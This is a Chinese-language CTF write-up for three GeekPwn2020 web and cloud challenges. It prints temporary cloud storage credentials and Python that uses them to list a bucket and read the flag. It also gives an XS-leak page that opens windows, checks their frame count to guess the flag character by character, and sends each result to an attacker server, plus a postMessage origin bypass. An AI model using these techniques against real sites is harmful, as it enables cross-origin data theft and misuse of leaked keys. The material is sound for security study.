GeekPwn2020 云安全挑战赛wp

去年没怎么打,今年的两道前端题做得挺有意思,虽然第一天看错了bot的意思导致自闭了一下午TAT。

cosplay

腾讯云的COS存储有关

var Bucket = '933kpwn-1253882285';
var Region = 'ap-shanghai';

var cos = new COS({
    getAuthorization: function (options, callback) {
        var url = '/GetTempKey?path=/upload';
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.onload = function (e) {
            try {
                var data = JSON.parse(e.target.responseText);
                var credentials = data.Credentials;
            } catch (e) {
            }
            if (!data || !credentials) return console.error('credentials invalid');
            callback({
                TmpSecretId: credentials.TmpSecretId,
                TmpSecretKey: credentials.TmpSecretKey,
                XCosSecurityToken: credentials.Token,
                ExpiredTime: data.ExpiredTime,
            });
        };
        xhr.send();
    }
});

访问URL http://110.80.136.34:20192/GetTempKey?path=/upload 可以得到密钥

{
    "Credentials": {
        "TmpSecretId": "AKIDhTn8GAvt65Adi0gyqveJMIL6MBJS5iXAh_N4c4EYGC5KiQfZjJPjKzLL2UmpxFiT",
        "TmpSecretKey": "rgUxuM7fbFUJXdFEBUPKQNYrSpKaFWU9yq2NX4/aHmc=",
        "Token": "WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8bc9b2db376affacce5722b4206eae44jXv9yiMPCjkD62SgENR1TKMSwQi-8YCBhrkawgd_HZQ2heTpuSmsQNxdK3cIcU7gmo1b7xXEV1uogypquGzpiWdSYxkhnPz3Un8v4nrncZVyQ_3OMAVF5crRSOG4M16h5w1VhbMU9Gygcjbn4qEYlVAlY3pqyQeTf-3x427SJ7b3-E9UY1apBVJifFBUm6N_WWJ4eCymWKl7uymNiUocz8JbmRdpUriuOIuNU20wobU1ucsJSB1CqUx2Q1H4rFAroxefWFTHB6t__SXYBoGpTRMsCD8GcxEqp3vGI_H_2xIrF3wqa3dndob66iLnm5APTKbAa-rpnSlsr8wdrx0yki8oD_d5PbntjVy1qVe98NE"
    },
    "ExpiredTime": 1594437923,
    "Expiration": "2020-07-11T03:25:23Z",
    "-": 1594434323,
    "RequestId": "bd7ae702-6424-4b80-8a71-0cb61ade3451"
}

就利用腾讯 cos sdkv5版本,上面生成了各种key之后,先列目录

from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging

logging.basicConfig(level=logging.INFO, stream=sys.stdout)

secret_id = 'AKIDP919RQ_mshdYIjld4ptsuM3PhJI85Teov5v6J3BhoqiDQj-Lmvmw1_bunL15K2-i'      # 替换为用户的 secretId
secret_key = 'SH6JqdGFqUz3u0xzOFnUeAxt83ECpQoerXlXFcY1XWM='      # 替换为用户的 secretKey
token = 'WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8dd8d8429c3e2e6e17d23b0b5cb02af9jXv9yiMPCjkD62SgENR1TDCdS6M91MVRsfYgdsbV6jcmDnKpsqe7b6Qs5F3SkTZeMM2Fsi97aQCo7j_HeZ1YRxnWqojCOe1XTs0cf-bbvzyyLhf6F3N5HU-aDYd7oLdnnCAl1sHYAtKcDR7Bh-0lg93i7aTuCVROeMyEuRI7kT7HRu6rRqWsf2gIQhdVTRLvDrcCAF8736lQbosTdygNsEPbSSsLoxiHfYPGL1HhJpPPzqgKO2pUCFk4VUPC9hkY4dYnn0gtE1R_QI2KeOTDAdLucq7uUfYO65zjtIXZMq9hTQORLfO1K4Z4sakvUoJxNcuoeptq6Bdw7gV7DcG3tiDyQ6dRWMz85SgUWfwxZdU'     # 替换为用户的 Region
region = 'ap-shanghai'                # 使用临时密钥需要传入 Token,默认为空,可不填
scheme = 'http'            # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)
# 2. 获取客户端对象
client = CosS3Client(config)



response = client.list_objects(
    Bucket='933kpwn-1253882285',
    Prefix=''
)
print(response)
img

发现flag,读取就行了

from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging

logging.basicConfig(level=logging.INFO, stream=sys.stdout)

secret_id = 'AKIDP919RQ_mshdYIjld4ptsuM3PhJI85Teov5v6J3BhoqiDQj-Lmvmw1_bunL15K2-i'      # 替换为用户的 secretId
secret_key = 'SH6JqdGFqUz3u0xzOFnUeAxt83ECpQoerXlXFcY1XWM='      # 替换为用户的 secretKey
token = 'WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8dd8d8429c3e2e6e17d23b0b5cb02af9jXv9yiMPCjkD62SgENR1TDCdS6M91MVRsfYgdsbV6jcmDnKpsqe7b6Qs5F3SkTZeMM2Fsi97aQCo7j_HeZ1YRxnWqojCOe1XTs0cf-bbvzyyLhf6F3N5HU-aDYd7oLdnnCAl1sHYAtKcDR7Bh-0lg93i7aTuCVROeMyEuRI7kT7HRu6rRqWsf2gIQhdVTRLvDrcCAF8736lQbosTdygNsEPbSSsLoxiHfYPGL1HhJpPPzqgKO2pUCFk4VUPC9hkY4dYnn0gtE1R_QI2KeOTDAdLucq7uUfYO65zjtIXZMq9hTQORLfO1K4Z4sakvUoJxNcuoeptq6Bdw7gV7DcG3tiDyQ6dRWMz85SgUWfwxZdU'     # 替换为用户的 Region
region = 'ap-shanghai'                # 使用临时密钥需要传入 Token,默认为空,可不填
scheme = 'http'            # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)
# 2. 获取客户端对象
client = CosS3Client(config)

response = client.get_object(
    Bucket='933kpwn-1253882285',
    Key='f1L9@/flag.txt',
)
response['Body'].get_stream_to_file('output.txt')

noxss

题目给出提示与xctf2019final的noxss和rctf2017的noxss有关。

下载源码,发现全站存在csp和iframe的限制,且仅允许指定host访问。

from flask import Flask, request, jsonify, Response
from os import getenv

app = Flask(__name__)

DATASET = {
    114: '514',
    810: '8931919',
    2017: 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup',
    2019: 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view',
    2020: getenv('NOXSS_FLAG')
}


@app.before_request
def check_host():
    if request.host != getenv('NOXSS_HOST') or request.remote_addr != getenv('BOT_IP'):
        return Response(status=403)


@app.route("/")
def index():
    return app.send_static_file('index.html')


@app.route("/search")
def search_handler():
    keyword = request.args.get('keyword')
    if keyword is None:
        return jsonify(DATASET)
    else:
        ret = {}
        for i in DATASET:
            if keyword in DATASET[i]:
                ret[i] = DATASET[i]
        return jsonify(ret), 200 if len(ret) else 404


@app.after_request
def add_security_headers(resp):
    resp.headers['X-Frame-Options'] = 'sameorigin'
    resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['Referrer-Policy'] = 'same-origin'
    return resp


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, )

虽然csp允许js但是没有xss的地方,也没有html注入的地方,无法进行css注入。 不过在主页存在一个uwu.js,当访问/?keyword=时,如果keyword值存在于DATASET的某个值中的话,那么返回它,其中flag就在DATASET中,如果都不存在的话就会返回一个页面。

let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.get(`/search?keyword=${encodeURIComponent(k)}`).then(resp => {
    result.innerHTML = ''
    for (i of Object.keys(resp.data)) {
        let p = document.createElement('pre')
        p.textContent = resp.data[i]
        result.appendChild(p)
    }
}, err => {
    console.log(err)
    result.innerHTML = '<marquee behavior="alternate"><h1>something is off</h1></marquee><marquee behavior="alternate"><h2>LITERALLY UNPLAYABLE</h2></marquee>'
    result.innerHTML += '<iframe width="560" height="315" src="https://www.youtube.com/embed/lkDUObv5iIU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>'
})

这个页面存在一个滚动的字和一个iframe引入了youtube的一个视频,如下。

img

现在的思路就类似css注入,一个字符一个字符猜测,通过访问?keyword=flag{开始,不断地加载?keyword=flag{0...直到...?keyword=flag{f,通过识别返回的页面是否为上面的页面来确定猜测的flag值是否正确。

noframe && xsleak

现在的问题在于两点 1. 全站限制被iframe包含 2. 如何跨域判断加载的页面是否为上面的嵌入了youtube视频的页面

第一个问题,借用noframe css注入的方法,因为本题的bot是存在点击行为的,那么劫持点击行为我们就可以通过window.open打开新窗口而不是使用iframe包含。

img

第二个问题,因为我们现在是用window.open不断打开页面,我们需要跨域判断打开的这个页面是否为嵌入了youtube视频的页面。 这里利用这里侧信道的方法https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels 我们可以通过win.frames.length来计算打开的跨域页面的frame数,因为正常匹配正确flag是没有frame,错误的话存在一个嵌入了youtube视频frame,这样就可以很好的区分了。

最后就是代码实现,服务端

var express = require('express');
var app = express();
var path = require('path');


var token = "";

app.get('/receive/:token', function(req, res) {
    t = req.params.token;
    console.log(t)
    if(t!="xxxx"){
        token = t
    }
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/noframe.html', function(req, res){
    res.sendFile(path.join(__dirname, 'noframe.html'));
})
var server = app.listen(8085, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

前端页面noframe.html

<html>
    <body onload="search('flag{', 0 );" onclick="search('flag{', 0 );">click somewhere to begin attack</body>
    <script>
        var chars = "abcdef0123456789-"
        var vuln_url = 'http://noxss2020.cal1.cn:3000/?keyword=';
        var server_receive_token_url =  'http://server.com/receive/';
        var server_return_token_url = 'http://server.com/return';
        function search(leak, charCounter) {
            var curChar = chars[charCounter];
            var win2 = window.open(vuln_url + leak + curChar, 'f');
            win2.blur();
            console.log("leak = " + leak + curChar);
            setTimeout(function(){
                if (win2.frames.length == 0) {
                    fetch(server_receive_token_url + leak + curChar);
                    leak += curChar
                }
                search(leak, (charCounter + 1) % chars.length);
            }, 500)
        }

    </script>
</div>

</html>

最后拿到flag(题目一次只有30秒,得多跑几次把flag接上)

img

umsg

审计前端js代码,在index.61cbcce.js中发现如下代码。

var n = {
      mounted: function () {
        window.addEventListener('message', (function (e) {
          if (e.origin.match('http://umsg.iffi.top')) switch (e.data.action) {
            case 'append':
              return void (document.getElementsByTagName('main') [0].innerHTML += e.data.payload);
            case 'debug':
              return void console.log(e.data.payload);
            case 'ping':
              return void e.source.postMessage('pong', '*')
          }
        }), !1), postMessage({
          action: 'ping'
        })
      }
    },

代码并不复杂,就是接收postMessage传过来的数据,然后正确的构造的话会把数据打印到页面上。 因为postMessage是允许iframe与主窗口跨域通信的,所以上面的条件可以很好地满足。

仅有一点就是 e.origin.match('http://umsg.iffi.top') 要求与它通信的页面的host必须存在上面的字符串,那么我就将我的umsg.iffi.top.szfszf.top解析到我的恶意页面上就好了。 最后payload就如上所说

```htmlmixed= <!DOCTYPE html> test ``` 最后提交bot拿到flag。 img